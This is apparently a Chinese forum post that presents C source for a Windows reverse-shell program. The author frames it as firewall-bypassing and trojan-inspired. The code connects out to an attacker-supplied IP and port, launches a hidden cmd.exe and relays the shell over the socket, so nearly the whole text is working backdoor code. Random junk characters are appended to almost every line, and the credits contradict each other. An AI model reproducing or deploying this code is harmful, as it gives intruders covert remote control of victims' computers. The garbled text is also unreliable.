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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L#'XN H"  
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/* ============================== Sx J0Y8#z  
Rebound port in Windows NT e T;@pc  
By wind,2006/7 !"yr;t>|Zb  
===============================*/ iFI+W<QR  
#include ?B e}{Qqlg  
#include mj9sX^$ dE  
A/:_uqm4  
#pragma comment(lib,"wsock32.lib") AWMJ/ E*T  
'oY#a9~Z{  
void OutputShell(); <FU?^*~  
SOCKET sClient; J;^PM:6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *U%3 [6hm  
VJTO:}Q  
void main(int argc,char **argv) ;/Z-|+!IJt  
{ `) cH(Rj  
WSADATA stWsaData; Cy/VH"G=  
int nRet; ffR%@  
SOCKADDR_IN stSaiClient,stSaiServer; d8agM/F*/  
%1jcY0zEQ  
if(argc != 3) >w7KOVbN3  
{ [PUu9rz#  
printf("Useage:\n\rRebound DestIP DestPort\n"); N8Zz6{rp  
return; (57!{[J  
} 1,;zX^  
\$.{*f  
WSAStartup(MAKEWORD(2,2),&stWsaData); YI7M%B9Lj  
MYjc6@=cR  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w$9LcN  
4P1}XYD-2  
stSaiClient.sin_family = AF_INET; A&Aj!#  
stSaiClient.sin_port = htons(0); sfr+W-7kx  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $57b.+2n  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @j}%{Km]Y  
{ MA:5'n  
printf("Bind Socket Failed!\n"); 7pY :.iVO  
return; o.fqJfpj  
} n}A!aC  
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stSaiServer.sin_family = AF_INET; /QyKXg6)l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O HpV%8`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HW~-GcU-o  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D 6 y,Q  
{ cXqYO|3/M  
printf("Connect Error!"); oS..y($TI  
return; ]"{8"+x  
} ?hkOL$v<9}  
OutputShell(); /IRXk[  
} q {Z#}|km#  
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void OutputShell() Su2{nNC>  
{ ?BfE*I$\h  
char szBuff[1024]; thJ~* 0^  
SECURITY_ATTRIBUTES stSecurityAttributes; xxu  
OSVERSIONINFO stOsversionInfo; m]AT-]*f  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vsj4? 0=  
STARTUPINFO stStartupInfo; "hf |7E_  
char *szShell; [TFJb+N&  
PROCESS_INFORMATION stProcessInformation; MHK|\Z&e7  
unsigned long lBytesRead; ,.W7Z~z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ciS,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >UaQ7CRo  
stSecurityAttributes.lpSecurityDescriptor = 0; Y"MHs0O5>  
stSecurityAttributes.bInheritHandle = TRUE; 3@gsKtA&H4  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;[Mvk6^'R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D:_W;b)  
^'V :T Y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;Y^'$I2fR#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?@.v*'qR  
stStartupInfo.wShowWindow = SW_HIDE;  1[SG.  
stStartupInfo.hStdInput = hReadPipe; Fye>H6MU  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !,m  
;2<5^hgk  
GetVersionEx(&stOsversionInfo);  m[B#k$  
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switch(stOsversionInfo.dwPlatformId) DpT9"?g7  
{ -d\sKc  
case 1: H&)}Z6C"  
szShell = "command.com"; 2jFuF71  
break; P0n1I7|  
default: "=djo+y  
szShell = "cmd.exe"; 4#B'pJMw9  
break;  yfZNL?2x  
} i41~-?Bc  
cKt=?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &<PIm  
;miif  
send(sClient,szMsg,77,0); lT|Gkm<G  
while(1) c1yRy|  
{ !!y]pMjJa@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |58HPW9  
if(lBytesRead) \Oeo"|  
{ UTD_rQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l-+=Yk!X  
send(sClient,szBuff,lBytesRead,0); C`[<6>&y  
} mM,HMrgLqK  
else 1!<t8,W4  
{ ><<>4(eF p  
lBytesRead=recv(sClient,szBuff,1024,0); [7Lr"  
if(lBytesRead<=0) break; 8 "l PiW3  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fMUcVTFe  
} h_%q`y,  
} cS;3,#$  
vd%g'fTy9  
return; 0gd`W{YP  
}
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